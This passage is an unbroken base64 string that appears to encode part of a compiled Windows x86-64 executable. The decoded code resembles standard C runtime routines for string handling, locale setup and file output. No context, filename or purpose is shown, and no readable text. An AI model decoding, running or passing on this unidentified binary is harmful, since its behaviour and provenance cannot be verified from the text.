FAHQF9gcIdCRB9gYBdAX2BwF0GUH2BgR0BfYHBHQOQYQGdASEB3QFuwEAAACLw+sFuAEAAABIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMzEiD7ChNY0gcSIsBTYvQQYsEAYP4/nULTIsCSYvK6IIAAABIg8Qow8xAU0iD7CBMjUwkQEmL2OiNt///SIsISGNDHEiJTCRAi0QIBEiDxCBbw8zMzEljUBxIiwFEiQwCw0iJXCQIV0iD7CBBi/lMjUwkQEmL2OhOt///SIsISGNDHEiJTCRAO3wIBH4EiXwIBEiLXCQwSIPEIF/DzEyLAukAAAAASIlcJAhIiWwkEEiJdCQYV0iD7CBJi+hIi/JIi9lIhcl1BehlAAAASGNDGIt7FEgDRgh1BehTAAAAM8mF/3QyTItGCExjSxhLjRQISGMCSQPASDvofAr/wUiDwgg7z3Lrhcl0Df/JSY0EyEKLRAgE6wODyP9Ii1wkMEiLbCQ4SIt0JEBIg8QgX8PMzMxIg+woSIsN3RgBAP8VL1UAAEiFwHQE/9DrAOgBAAAAkEiD7Cjow9n//0iLiNAAAABIhcl0BP/R6wDohsz//5DMSIPsKEiNDdX/////FedUAABIiQWQGAEASIPEKMPMzMxIg+woTYtBOEiLykmL0egNAAAAuAEAAABIg8Qow8zMzEBTSIPsIEWLGEiL2kyLyUGD4/hB9gAETIvRdBNBi0AITWNQBPfYTAPRSGPITCPRSWPDSosUEEiLQxCLSAhIA0sI9kEDD3QMD7ZBA4Pg8EiYTAPITDPKSYvJSIPEIFvpran//8xAU0iD7CBIhcl0DUiF0nQITYXAdRxEiAHoA9T//7sWAAAAiRjon8///4vDSIPEIFvDTIvJTSvIQYoAQ4gEAUn/wITAdAVI/8p17UiF0nUOiBHoytP//7siAAAA68UzwOvKzMzMgyVBKwEAAMNIiVwkCFdIg+wgSGPZSI09fPYAAEgD20iDPN8AdRHoqQAAAIXAdQiNSBHoScH//0iLDN9Ii1wkMEiDxCBfSP8l9FQAAEiJXCQISIlsJBBIiXQkGFdIg+wgvyQAAABIjR0s9gAAi+9IizNIhfZ0G4N7CAF0FUiLzv8VI1QAAEiLzuhPy///SIMjAEiDwxBI/8111EiNHf/1AABIi0v4SIXJdAuDOwF1Bv8V81MAAEiDwxBI/89140iLXCQwSItsJDhIi3QkQEiDxCBfw8xIiVwkCEiJfCQQQVZIg+wgSGPZSIM9mRMBAAB1GeiGx///uR4AAADo8Mf//7n/AAAA6Ba///9IA9tMjTWE9QAASYM83gB0B7gBAAAA61y5KAAAAOhwxP//SIv4SIXAdQ/og9L//8cADAAAADPA6zu5CgAAAOi7/v//kEiLz0mDPN4AdRG6oA8AAP8VPVMAAEmJPN7rBuhuyv//kEiLDcL1AAD/FcxTAADrnUiLXCQwSIt8JDhIg8QgQV7DzEiJXCQISIl0JBBXSIPsIDP2SI0d8PQAAI1+JIN7CAF1IkhjxkiNFe0VAQD/xkiNDIBIjQzKuqAPAABIiQv/Fc1SAABIg8MQSP/Pdc9Ii1wkMEiLdCQ4jUcBSIPEIF/DzEhjyUiNBZ70AABIA8lIiwzISP8lQFMAAExjQTxFM8lMi9JMA8FBD7dAFEUPt1gGSIPAGEkDwEWF23Qei1AMTDvScgqLSAgDykw70XIOQf/BSIPAKEU7y3LiM8Dzw8zMzMzMzMzMzMzMSIlcJAhXSIPsIEiL2UiNPfyA//9Ii8/oNAAAAIXAdCJIK99Ii9NIi8/ogv///0iFwHQPi0Akwegf99CD4AHrAjPASItcJDBIg8QgX8PMzMxIi8G5TVoAAGY5CHQDM8DDSGNIPEgDyDPAgTlQRQAAdQy6CwIAAGY5URgPlMDzw8xIiVwkCFdIg+wgM/9IjR3t9QAASIsL/xX8UAAA/8dIiQNIY8dIjVsISIP4CnLlSItcJDBIg8QgX8PMzMxIiQ29FgEAw0iLDc0WAQBI/yXOUAAAzMxIiQ2tFgEASIkNrhYBAEiJDa8WAQBIiQ2wFgEAw8zMzEiJXCQYVldBVEFWQVdIg+wwi9kz/4l8JGAz9ovRg+oCD4TEAAAAg+oCdGKD6gJ0TYPqAnRYg+oDdFOD6gR0LoPqBnQW/8p0Negj0P//xwAWAAAA6MDL///rQEyNNTsWAQBIiw00FgEA6YsAAABMjTU4FgEASIsNMRYBAOt7TI01IBYBAEiLDRkWAQDra+jq1P//SIvwSIXAdQiDyP/pcAEAAEiLkKAAAABIi8pMYwUJdQAAOVkEdBNIg8EQSYvASMHgBEgDwkg7yHLoSYvASMHgBEgDwkg7yHMFOVkEdAIzyUyNcQhNiz7rIEyNNaMVAQBIiw2cFQEAvwEAAACJfCRg/xWlTwAATIv4SYP/AXUHM8Dp+wAAAE2F/3UKQY1PA+j3vf//zIX/dAgzyeiL+///kEG8EAkAAIP7C3czQQ+j3HMtSIuGqAAAAEiJRCQoSIOmqAAAAACD+wh1UouGsAAAAIlEJGjHhrAAAACMAAAAg/sIdTmLDUl0AACL0YlMJCCLBUF0AAADyDvRfSxIY8pIA8lIi4agAAAASINkyAgA/8KJVCQgiw0YdAAA69Mzyf8V7k4AAEmJBoX/dAczyejg/P//g/sIdQ2LlrAAAACLy0H/1+sFi8tB/9eD+wsPhyz///9BD6PcD4Mi////SItEJChIiYaoAAAAg/sID4UN////i0QkaImGsAAAAOn+/v//SItcJHBIg8QwQV9BXkFcX17DSIPsKIM9/SYBAAB1FLn9////6MEDAADHBecmAQABAAAAM8BIg8Qow0BTSIPsQIvZSI1MJCAz0uj4zP//gyVxFAEAAIP7/nUSxwViFAEAAQAAAP8VoE8AAOsVg/v9dRTHBUsUAQABAAAA/xWBTwAAi9jrF4P7/HUSSItEJCDHBS0UAQABAAAAi1gEgHwkOAB0DEiLTCQwg6HIAAAA/YvDSIPEQFvDzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBIjVkYSIvxvQEBAABIi8tEi8Uz0ugDzv//M8BIjX4MSIlGBEiJhiACAAC5BgAAAA+3wGbzq0iNPdD1AABIK/6KBB+IA0j/w0j/zXXzSI2OGQEAALoAAQAAigQ5iAFI/8FI/8p180iLXCQwSItsJDhIi3QkQEiDxCBfw8zMSIlcJBBIiXwkGFVIjawkgPv//0iB7IAFAABIiwWP7QAASDPESImFcAQAAEiL+YtJBEiNVCRQ/xWMTgAAuwABAACFwA+ENQEAADPASI1MJHCIAf/ASP/BO8Ny9YpEJFbGRCRwIEiNVCRW6yJED7ZCAQ+2yOsNO8tzDovBxkQMcCD/wUE7yHbuSIPCAooChMB12otHBINkJDAATI1EJHCJRCQoSI2FcAIAAESLy7oBAAAAM8lIiUQkIOh3MgAAg2QkQACLRwRIi5cgAgAAiUQkOEiNRXCJXCQwSIlEJChMjUwkcESLwzPJiVwkIOhEMAAAg2QkQACLRwRIi5cgAgAAiUQkOEiNhXABAACJXCQwSIlEJChMjUwkcEG4AAIAADPJiVwkIOgLMAAATI1FcEyNjXABAABMK8dIjZVwAgAASI1PGUwrz/YCAXQKgAkQQYpECOfrDfYCAnQQgAkgQYpECeeIgQABAADrB8aBAAEAAABI/8FIg8ICSP/LdcnrPzPSSI1PGUSNQp9BjUAgg/gZdwiACRCNQiDrDEGD+Bl3DoAJII1C4IiBAAEAAOsHxoEAAQAAAP/CSP/BO9Nyx0iLjXAEAABIM8zo1KD//0yNnCSABQAASYtbGEmLeyBJi+Ndw8zMzEiJXCQQV0iD7CDoCdD//0iL+IsNwP0AAIWIyAAAAHQTSIO4wAAAAAB0CUiLmLgAAADrbLkNAAAA6D/3//+QSIufuAAAAEiJXCQwSDsdU/IAAHRCSIXbdBvw/wt1FkiNBUjzAABIi0wkMEg7yHQF6N3C//9IiwUq8gAASImHuAAAAEiLBRzyAABIiUQkMPD/AEiLXCQwuQ0AAADoxfj//0iF23UIjUsg6Ei4//9Ii8NIi1wkOEiDxCBfw8zMSIvESIlYCEiJcBBIiXgYTIlwIEFXSIPsMIv5QYPP/+g4z///SIvw6Bj///9Ii564AAAAi8/oFvz//0SL8DtDBA+E8wEAALkoAgAA6AS8//9Ii9gz/0iFwA+E4AEAAEiLlrgAAABIi8hIi8JIC8GD4A91aI1HBESNQHwPKAIPKQEPKEoQDylJEA8oQiAPKUEgDyhKMA8pSTAPKEJADylBQA8oSlAPKUlQDyhCYA8pQWBJA8gPKEpwDylJ8EkD0Ej/yHW3DygCDykBDyhKEA8pSRBIi0IgSIlBIOsLQbgoAgAA6Eqf//+JO0iL00GLzuhpAQAARIv4hcAPhRUBAABIi464AAAATI015PEAAPD/CXURSIuOuAAAAEk7znQF6HLB//9IiZ64AAAA8P8D9obIAAAAAg+FBQEAAPYF3PsAAAEPhfgAAAC+DQAAAIvO6G71//+Qi0MEiQVsDwEAi0MIiQVnDwEASIuDIAIAAEiJBU0PAQCL10yNBaR4//+JVCQgg/oFfRVIY8oPt0RLDGZBiYRIsJYBAP/C6+KL14lUJCCB+gEBAAB9E0hjyopEGRhCiIQBwHYBAP/C6+GJfCQggf8AAQAAfRZIY8+KhBkZAQAAQoiEAdB3AQD/x+veSIsNBPAAAIPI//APwQH/yHURSIsN8u8AAEk7znQF6JTA//9IiR3h7wAA8P8Di87ol/b//+srg/j/dSZMjTXR8AAASTvedAhIi8voaMD//+hDyP//xwAWAAAA6wUz/0SL/0GLx0iLXCRASIt0JEhIi3wkUEyLdCRYSIPEMEFfw0iJXCQYSIlsJCBWV0FUQVZBV0iD7EBIiwWX6AAASDPESIlEJDhIi9rox/n//zP2i/iFwHUNSIvL6Df6///pRAIAAEyNJUvtAACL7kG/AQAAAEmLxDk4D4Q4AQAAQQPvSIPAMIP9BXLsjYcYAv//QTvHD4YVAQAAD7fP/xU0SQAAhcAPhAQBAABIjVQkIIvP/xU3SQAAhcAPhOMAAABIjUsYM9JBuAEBAADo9sf//4l7BEiJsyACAABEOXwkIA+GpgAAAEiNVCQmQDh0JCZ0OUA4cgF0M0QPtgIPtnoBRDvHdx1BjUgBSI1DGEgDwUEr+EGNDD+ACARJA8dJK8919UiDwgJAODJ1x0iNQxq5/gAAAIAICEkDx0krz3X1i0sEgemkAwAAdC6D6QR0IIPpDXQS/8l0BUiLxusiSIsFQ28AAOsZSIsFMm8AAOsQSIsFIW8AAOsHSIsFEG8AAEiJgyACAABEiXsI6wOJcwhIjXsMD7fGuQYAAABm86vp/gAAADk1+gwBAA+Fqf7//4PI/+n0AAAASI1LGDPSQbgBAQAA6P/G//+LxU2NTCQQTI0cQEyNNc3rAAC9BAAAAEnB4wRNA8tJi9FBODF0QEA4cgF0OkQPtgIPtkIBRDvAdyRFjVABQYH6AQEAAHMXQYoGRQPHQQhEGhgPtkIBRQPXRDvAduBIg8ICQDgydcBJg8EITQP3SSvvdayJewREiXsIge+kAwAAdCmD7wR0G4PvDXQN/891IkiLNUluAADrGUiLNThuAADrEEiLNSduAADrB0iLNRZuAABMK9tIibMgAgAASI1LDEuNPCO6BgAAAA+3RA/4ZokBSI1JAkkr13XvSIvL6H74//8zwEiLTCQ4SDPM6A+b//9MjVwkQEmLW0BJi2tISYvjQV9BXkFcX17DzMxIiVwkCEiJdCQQV0iD7CBIi9pIi/lIhcl1CkiLyuiWvv//62pIhdJ1B+havf//61xIg/rgd0NIiw33BQEAuAEAAABIhdtID0TYTIvHM9JMi8v/Fc1GAABIi/BIhcB1bzkFJwwBAHRQSIvL6AG///+FwHQrSIP74Ha9SIvL6O++///o4sT//8cADAAAADPASItcJDBIi3QkOEiDxCBfw+jFxP//SIvY/xWgRAAAi8jo1cT//4kD69XorMT//0iL2P8Vh0QAAIvI6LzE//+JA0iLxuu7zEiJXCQIV0iD7CBJi/hIi9pIhcl0HTPSSI1C4Ej38Ug7w3MP6GzE///HAAwAAAAzwOtdSA+v2bgBAAAASIXbSA9E2DPASIP74HcYSIsNDwUBAI1QCEyLw/8V+0QAAEiFwHUtgz1PCwEAAHQZSIvL6Cm+//+FwHXLSIX/dLLHBwwAAADrqkiF/3QGxwcMAAAASItcJDBIg8QgX8PMzMzMzMzMzMzMzMxmZg8fhAAAAAAASIHs2AQAAE0zwE0zyUiJZCQgTIlEJCjoLDsAAEiBxNgEAADDzMzMzMzMZg8fRAAASIlMJAhIiVQkGESJRCQQScfBIAWTGesIzMzMzMzMZpDDzMzMzMzMZg8fhAAAAAAAw8zMzEBTSIPsIEUz0kyLyUiFyXQOSIXSdAlNhcB1HWZEiRHoXMP//7sWAAAAiRjo+L7//4vDSIPEIFvDZkQ5EXQJSIPBAkj/ynXxSIXSdQZmRYkR681JK8hBD7cAZkKJBAFNjUACZoXAdAVI/8p16UiF0nUQZkWJEegGw///uyIAAADrqDPA663MzMxAU0iD7CBFM9JIhcl0DkiF0nQJTYXAdR1mRIkR6NfC//+7FgAAAIkY6HO+//+Lw0iDxCBbw0yLyU0ryEEPtwBmQ4kEAU2NQAJmhcB0BUj/ynXpSIXSdRBmRIkR6JjC//+7IgAAAOu/M8DrxMxIi8EPtxBIg8ACZoXSdfRIK8FI0fhI/8jDzMzMQFNIg+wgM9tNhcl1DkiFyXUOSIXSdSAzwOsvSIXJdBdIhdJ0Ek2FyXUFZokZ6+hNhcB1HGaJGeg0wv//uxYAAACJGOjQvf//i8NIg8QgW8NMi9lMi9JJg/n/dRxNK9hBD7cAZkOJBANNjUACZoXAdC9J/8p16esoTCvBQw+3BBhmQYkDTY1bAmaFwHQKSf/KdAVJ/8l15E2FyXUEZkGJG02F0g+Fbv///0mD+f91C2aJXFH+QY1CUOuQZokZ6K7B//+7IgAAAOl1////SIPsKIXJeCCD+QJ+DYP5A3UWiwUICAEA6yGLBQAIAQCJDfoHAQDrE+h3wf//xwAWAAAA6BS9//+DyP9Ig8Qow0BTVVZXQVRBVkFXSIPsUEiLBerhAABIM8RIiUQkSEyL+TPJQYvoTIvi/xVpQQAAM/9Ii/Do09L//0g5PagHAQBEi/APhfMAAABIjQ3IaQAAM9JBuAAIAAD/FZpCAABIi9hIhcB1KP8V3EAAAIP4Vw+F2wEAAEiNDZxpAAD/Fa5CAABIi9hIhcAPhMIBAABIjRWbaQAASIvL/xVaQQAASIXAD4SpAQAASIvI/xXoQAAASI0ViWkAAEiLy0iJBScHAQD/FTFBAABIi8j/FchAAABIjRV5aQAASIvLSIkFDwcBAP8VEUEAAEiLyP8VqEAAAEiNFXFpAABIi8tIiQX3BgEA/xXxQAAASIvI/xWIQAAASIkF8QYBAEiFwHQgSI0VZWkAAEiLy/8VzEAAAEiLyP8VY0AAAEiJBcQGAQD/FZZAAACFwHQdTYX/dAlJi8//FdRBAABFhfZ0JrgEAAAA6e8AAABFhfZ0F0iLDXkGAQD/FStAAAC4AwAAAOnTAAAASIsNegYBAEg7znRjSDk1dgYBAHRa/xUGQAAASIsNZwYBAEiL2P8V9j8AAEyL8EiF23Q8SIXAdDf/00iFwHQqSI1MJDBBuQwAAABMjUQkOEiJTCQgQY1R9UiLyEH/1oXAdAf2RCRAAXUGD7rtFetASIsN+wUBAEg7znQ0/xWgPwAASIXAdCn/0EiL+EiFwHQfSIsN4gUBAEg7znQT/xV/PwAASIXAdAhIi8//0EiL+EiLDbMFAQD/FWU/AABIhcB0EESLzU2LxEmL10iLz//Q6wIzwEiLTCRISDPM6JGU//9Ig8RQQV9BXkFcX15dW8PMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CBIi+kz/77jAAAATI01NnMAAI0EPkG4VQAAAEiLzZkrwtH4SGPYSIvTSAPSSYsU1ugDAQAAhcB0E3kFjXP/6wONewE7/n7Lg8j/6wtIi8NIA8BBi0TGCEiLXCQwSItsJDhIi3QkQEiLfCRISIPEIEFew8zMSIPsKEiFyXQi6Gb///+FwHgZSJhIPeQAAABzD0iNDfGAAABIA8CLBMHrAjPASIPEKMPMzEyL3EmJWwhJiXMQV0iD7FBMixWhFgEAQYvZSYv4TDMVrN4AAIvydCozwEmJQ+hJiUPgSYlD2IuEJIgAAACJRCQoSIuEJIAAAABJiUPIQf/S6y3odf///0SLy0yLx4vIi4QkiAAAAIvWiUQkKEiLhCSAAAAASIlEJCD/FYk/AABIi1wkYEiLdCRoSIPEUF/DzEUzyUyL0kyL2U2FwHRDTCvaQw+3DBONQb9mg/gZdwRmg8EgQQ+3Eo1Cv2aD+Bl3BGaDwiBJg8ICSf/IdApmhcl0BWY7ynTKD7fCRA+3yUQryEGLwcPMzMxIiVwkCFdIg+wgiwWwBAEAM9u/FAAAAIXAdQe4AAIAAOsFO8cPTMdIY8i6CAAAAIkFiwQBAOhyrv//SIkFdwQBAEiFwHUkjVAISIvPiT1uBAEA6FWu//9IiQVaBAEASIXAdQe4GgAAAOsjSI0Nh+cAAEiJDANIg8EwSI1bCEj/z3QJSIsFLwQBAOvmM8BIi1wkMEiDxCBfw0iD7CjoDyQAAIA95PYAAAB0BehZJQAASIsNAgQBAOixtP//SIMl9QMBAABIg8Qow0iNBSnnAADDQFNIg+wgSIvZSI0NGOcAAEg72XJASI0FnOoAAEg72Hc0SIvTSLirqqqqqqqqKkgr0Uj36kjB+gNIi8pIwek/SAPKg8EQ6H7o//8PumsYD0iDxCBbw0iNSzBIg8QgW0j/JZs9AADMzMxAU0iD7CBIi9qD+RR9E4PBEOhK6P//D7prGA9Ig8QgW8NIjUowSIPEIFtI/yVnPQAAzMzMSI0VheYAAEg7ynI3SI0FCeoAAEg7yHcrD7pxGA9IK8pIuKuqqqqqqqoqSPfpSMH6A0iLykjB6T9IA8qDwRDp0en//0iDwTBI/yUePQAAzMyD+RR9DQ+6chgPg8EQ6bLp//9IjUowSP8l/zwAAMzMzEiD7ChIhcl1Fehiu///xwAWAAAA6P+2//+DyP/rA4tBHEiDxCjDzMxIg+wog/n+dQ3oOrv//8cACQAAAOtChcl4LjsNvBMBAHMmSGPJSI0V+PsAAEiLwYPhH0jB+AVIa8lYSIsEwg++RAgIg+BA6xLo+7r//8cACQAAAOiYtv//M8BIg8Qow8xIiVwkEIlMJAhWV0FUQVZBV0iD7CBFi/BMi/pIY/mD//51GOhQuv//gyAA6Li6///HAAkAAADpjwAAAIXJeHM7PTcTAQBza0iL30iL90jB/gVMjSVs+wAAg+MfSGvbWEmLBPQPvkwYCIPhAXRFi8/o2CMAAJBJiwT09kQYCAF0EUWLxkmL14vP6FMAAACL2OsW6FK6///HAAkAAADo17n//4MgAIPL/4vP6FYlAACLw+sb6MG5//+DIADoKbr//8cACQAAAOjGtf//g8j/SItcJFhIg8QgQV9BXkFcX17DzEiJXCQgVVZXQVRBVUFWQVdIjawk0OX//7gwGwAA6FIiAABIK+BIiwV42gAASDPESImFIBoAADP/RYv4TIvyIXwkSEhj2UWFwHUHM8DpwQYAAEiF0nUf6D25//8hOOimuf//xwAWAAAA6EO1//+DyP/pnQYAAEyL40iNBWX6AABMi+tJwf0FQYPkH0qLDOhMiWwkUE1r5FhBinQMOEAC9kDQ/o1G/zwBdwlBi8f30KgBdKRB9kQMCCB0DTPSi8tEjUIC6FkHAACLy+jy/f//hcAPhLwCAABIjQUH+gAASosE6EH2RAQIgA+EpQIAAOj+vf//M9tIjVQkXEiLiMAAAABIjQXd+QAASDmZOAEAAEqLDOhJiwwMD5TD/xXNOgAAhcAPhGsCAACF23QJQIT2D4ReAgAA/xWqOgAAIXwkWEmL3olEJFxFhf8PhDsCAABAhPYPhYQBAACKCzPAgPkKD5TAiUQkREiNBXj5AABKixToQYN8FFAAdCBBikQUTIhMJGFBuAIAAACIRCRgQYNkFFAASI1UJGDrSQ++yei4FgAAhcB0NEmLx0grw0kDxkiD+AEPjqgBAABIjUwkQEG4AgAAAEiL0+jaJAAAg/j/D4StAQAASP/D6xxBuAEAAABIi9NIjUwkQOi5JAAAg/j/D4SMAQAASINkJDgASINkJDAAi0wkXEiNRCRgTI1EJEBBuQEAAAAz0sdEJCgFAAAASP/DSIlEJCD/FQg5AABEi+iFwA+ESQEAAEiLTCRQSINkJCAASI0Fm/gAAEiLDMhMjUwkWEiNVCRgSYsMDEWLxf8VqDcAAIXAD4QuBAAAi/tBK/4DfCRIRDlsJFgPjAABAACDfCREAEyLbCRQD4TAAAAASINkJCAASI0FR/gAAMZEJGANSosM6EyNTCRYSI1UJGBJiwwMQbgBAAAA/xVMNwAAhcAPhNIDAACDfCRYAQ+MrQAAAP9EJEj/x+t1jUb/PAF3Hg+3A0Uz7WaD+ApmiUQkQEEPlMVIg8MCRIlsJETrBUSLbCREjUb/PAF3Pw+3TCRA6JYjAABmO0QkQA+FeQMAAIPHAkWF7XQiuA0AAACLyGaJRCRA6HIjAABmO0QkQA+FVQMAAP/H/0QkSEyLbCRQi8NBK8ZBO8dzJunv/f//igNIjRV89wAA/8dKiwzqQYhEDExKiwTqQcdEBFABAAAAi1wkROkZAwAAi1wkROkUAwAASI0FS/cAAEqLDOhB9kQMCIAPhMsCAAAz202L7olcJERAhPYPhcgAAABFhf8PhA4DAACNUw2LXCRISI21IAYAADPJQYvFQSvGQTvHcyZBikUASf/FPAp1CogW/8NI/8ZI/8FI/8GIBkj/xkiB+f8TAAByz0iDZCQgAEiNhSAGAABEi8ZEK8BIi0QkUEiNDcD2AABIiwzBTI1MJExIjZUgBgAASYsMDIlcJEj/Fco1AACLXCREhcAPhEwCAAADfCRMSI2FIAYAAEgr8EhjRCRMSDvGD4w4AgAAQYvFug0AAABBK8ZBO8cPgkn////pHwIAAECA/gIPhdUAAABFhf8PhDwCAAC6DQAAAItcJEhIjbUgBgAAM8lBi8VBK8ZBO8dzMUEPt0UASYPFAmaD+Ap1DmaJFoPDAkiDxgJIg8ECSIPBAmaJBkiDxgJIgfn+EwAAcsRIg2QkIABIjYUgBgAARIvGRCvASItEJFBIjQ3h9QAASIsMwUyNTCRMSI2VIAYAAEmLDAyJXCRI/xXrNAAAi1wkRIXAD4RtAQAAA3wkTEiNhSAGAABIK/BIY0QkTEg7xg+MWQEAAEGLxboNAAAAQSvGQTvHD4I+////6UABAABFhf8PhGcBAABBuA0AAABIjUwkcDPSQYvFQSvGQTvHcy9BD7dFAEmDxQJmg/gKdQxmRIkBSIPBAkiDwgJIg8ICZokBSIPBAkiB+qgGAAByxkiDZCQ4AEiDZCQwAEiNRCRwK8hMjUQkcMdEJChVDQAAi8G56f0AAJkrwjPS0fhEi8hIjYUgBgAASIlEJCD/FT81AACJRCREhcAPhJkAAAAz9kiDZCQgAESLwEiLRCRQSGPOSI2VIAYAAEyNTCRMSAPRSI0NuvQAAEQrxkiLDMFJiwwM/xXRMwAAhcB0DgN0JEyLRCREO8Z/uOsM/xWZMwAAi9iLRCREO8Z/RUGL/UG4DQAAAEEr/kE7/w+C//7//+suSYsMDEghfCQgTI1MJExFi8dJi9b/FX4zAACFwHQIi3wkTDPb6wj/FUwzAACL2IX/dWaF23Qog/sFdRfoVLP//8cACQAAAOjZsv//iRjpp/n//4vL6Ouy///pm/n//0iLRCRQSI0NBvQAAEiLBMFB9kQECEB0CkGAPhoPhFb5///oD7P//8cAHAAAAOiUsv//gyAA6WH5//8rfCRIi8dIi40gGgAASDPM6HOI//9Ii5wkiBsAAEiBxDAbAABBX0FeQV1BXF9eXcNIiVwkEIlMJAhWV0FUQVZBV0iD7CBFi/BMi/pIY/mD//51GOg0sv//gyAA6Jyy///HAAkAAADpkgAAAIXJeHY7PRsLAQBzbkiL30iL90jB/gVMjSVQ8wAAg+MfSGvbWEmLBPQPvkwYCIPhAXRIi8/ovBsAAJBJiwT09kQYCAF0EkWLxkmL14vP6FcAAABIi9jrF+g1sv//xwAJAAAA6Lqx//+DIABIg8v/i8/oOB0AAEiLw+sc6KKx//+DIADoCrL//8cACQAAAOinrf//SIPI/0iLXCRYSIPEIEFfQV5BXF9ew8xIiVwkCEiJdCQQV0iD7CBIY9lBi/hIi/KLy+hxHAAASIP4/3UR6L6x///HAAkAAABIg8j/601MjUQkSESLz0iL1kiLyP8VijMAAIXAdQ//FXgxAACLyOg9sf//69NIi8tIi8NIjRVa8gAASMH4BYPhH0iLBMJIa8lYgGQICP1Ii0QkSEiLXCQwSIt0JDhIg8QgX8PMQFNIg+wg/wVw+AAASIvZuQAQAADoG6P//0iJQxBIhcB0DYNLGAjHQyQAEAAA6xODSxgESI1DIMdDJAIAAABIiUMQSItDEINjCABIiQNIg8QgW8PMSIlcJBhVVldBVEFVQVZBV0iNrCQg/v//SIHs4AIAAEiLBXbRAABIM8RIiYXYAQAAM8BIi9lIiUwkaEiL+kiNTahJi9BNi+mJRCRgRIvwiUQkVESL4IlEJEiJRCRciUQkUOiCr///6JWw//9Bg8j/RTPSSIlFkEiF2w+EYQkAAPZDGEBMjQ0iYP//D4WPAAAASIvL6Pj0//9IjRWt0gAATGPIQY1JAoP5AXYjTYvBSYvJSI0F9F///0GD4B9IwfkFTWvAWEwDhMgwkQEA6wNMi8JB9kA4fw+FBAkAAEGNQQKD+AF2IkmL0UmLwUyNDbpf//+D4h9IwfgFSGvSWEkDlMEwkQEA6wdMjQ2eX///9kI4gA+FyAgAAEGDyP9FM9JIhf8PhLgIAABEij9Bi/JEiVQkQESJVCREQYvSTIlVgEWE/w+EsAgAAEiLXaBBuwACAABI/8dIiX2YhfYPiHYIAABBjUfgPFh3EkkPvsdCD7aMCNA1AQCD4Q/rA0GLykhjwUiNDMBIY8JIA8hCD7aUCfA1AQDB6gSJVCRYg/oID4Q8CAAAi8qF0g+E6wYAAP/JD4T9BwAA/8kPhKUHAAD/yQ+EYQcAAP/JD4RRBwAA/8kPhBQHAAD/yQ+EMQYAAP/JD4UUBgAAQQ++z4P5ZA+PaQEAAA+EZAIAAIP5QQ+ELwEAAIP5Qw+EzAAAAI1Bu6n9////D4QYAQAAg/lTdG2D+VgPhM8BAACD+Vp0F4P5YQ+ECAEAAIP5Yw+EpwAAAOklBAAASYtFAEmDxQhIhcB0L0iLWAhIhdt0Jg+/AEEPuuYLcxKZx0QkUAEAAAArwtH46e8DAABEiVQkUOnlAwAASIsdNs8AAOnOAwAAQffGMAgAAHUFQQ+67gtJi10ARTvgQYvEuf///38PRMFJg8UIQffGEAgAAA+EBgEAAEiF28dEJFABAAAASA9EHfXOAABIi8vp3wAAAEH3xjAIAAB1BUEPuu4LSYPFCEH3xhAIAAB0J0UPt034SI1V0EiNTCRETYvD6DQOAABFM9KFwHQZx0QkXAEAAADrD0GKRfjHRCREAQAAAIhF0EiNXdDpNwMAAMdEJHgBAAAAQYDHIEGDzkBIjV3QQYvzRYXkD4kqAgAAQbwGAAAA6WUCAACD+WUPjAMDAACD+Wd+04P5aQ+E6gAAAIP5bg+ErwAAAIP5bw+ElgAAAIP5cHRhg/lzD4QG////g/l1D4TFAAAAg/l4D4XDAgAAjUGv61H/yGZEORF0CEiDwQKFwHXwSCvLSNH56yBIhdtID0Qd780AAEiLy+sK/8hEOBF0B0j/wYXAdfIry4lMJETpfQIAAEG8EAAAAEEPuu4PuAcAAACJRCRgQbkQAAAARYT2eV0EUcZEJEwwQY1R8ohEJE3rUEG5CAAAAEWE9nlBRQvz6zxJi30ASYPFCOhgCwAARTPShcAPhJ0FAABB9sYgdAVmiTfrAok3x0QkXAEAAADpbAMAAEGDzkBBuQoAAACLVCRIuACAAABEhfB0Ck2LRQBJg8UI6zpBD7rmDHLvSYPFCEH2xiB0GUyJbCRwQfbGQHQHTQ+/RfjrHEUPt0X46xVB9sZAdAZNY0X46wRFi0X4TIlsJHBB9sZAdA1NhcB5CEn32EEPuu4IRIXwdQpBD7rmDHIDRYvARYXkeQhBvAEAAADrC0GD5vdFO+NFD0/jRItsJGBJi8BIjZ3PAQAASPfYG8kjyolMJEhBi8xB/8yFyX8FTYXAdCAz0kmLwEljyUj38UyLwI1CMIP4OX4DQQPFiANI/8vr0UyLbCRwSI2FzwEAACvDSP/DiUQkREWF8w+ECQEAAIXAdAmAOzAPhPwAAABI/8v/RCRExgMw6e0AAAB1DkGA/2d1PkG8AQAAAOs2RTvjRQ9P40GB/KMAAAB+JkGNvCRdAQAASGPP6DWd//9IiUWASIXAdAdIi9iL9+sGQbyjAAAASYtFAEiLDYDQAABJg8UIQQ++/0hj9kiJRaD/FVsrAABIjU2oRIvPSIlMJDCLTCR4TIvGiUwkKEiNTaBIi9NEiWQkIP/QQYv+geeAAAAAdBtFheR1FkiLDUfQAAD/FRkrAABIjVWoSIvL/9BBgP9ndRqF/3UWSIsNH9AAAP8V+SoAAEiNVahIi8v/0IA7LXUIQQ+67ghI/8NIi8voq4r//0Uz0olEJEREOVQkXA+FVgEAAEH2xkB0MUEPuuYIcwfGRCRMLesLQfbGAXQQxkQkTCu/AQAAAIl8JEjrEUH2xgJ0B8ZEJEwg6+iLfCRIi3QkVEyLfCRoK3QkRCv3QfbGDHURTI1MJEBNi8eL1rEg6KwDAABIi0WQTI1MJEBIjUwkTE2Lx4vXSIlEJCDo4wMAAEH2xgh0F0H2xgR1EUyNTCRATYvHi9axMOhyAwAAg3wkUACLfCREdHCF/35sTIv7RQ+3D0iNldABAABIjU2IQbgGAAAA/89NjX8C6PwJAABFM9KFwHU0i1WIhdJ0LUiLRZBMi0QkaEyNTCRASI2N0AEAAEiJRCQg6GcDAABFM9KF/3WsTIt8JGjrLEyLfCRog8j/iUQkQOsiSItFkEyNTCRATYvHi9dIi8tIiUQkIOgwAwAARTPSi0QkQIXAeBpB9sYEdBRMjUwkQE2Lx4vWsSDougIAAEUz0kiLRYBIhcB0D0iLyOhGof//RTPSTIlVgEiLfZiLdCRAi1QkWEG7AAIAAEyNDbJY//9Eij9FhP8PhNEBAABBg8j/6UP5//9BgP9JdDRBgP9odChBgP9sdA1BgP93ddNBD7ruC+vMgD9sdQpI/8dBD7ruDOu9QYPOEOu3QYPOIOuxigdBD7ruDzw2dRGAfwE0dQtIg8cCQQ+67g/rlTwzdRGAfwEydQtIg8cCQQ+69g/rgCxYPCB3FEi5ARCCIAEAAABID6PBD4Jm////RIlUJFhIjVWoQQ+2z0S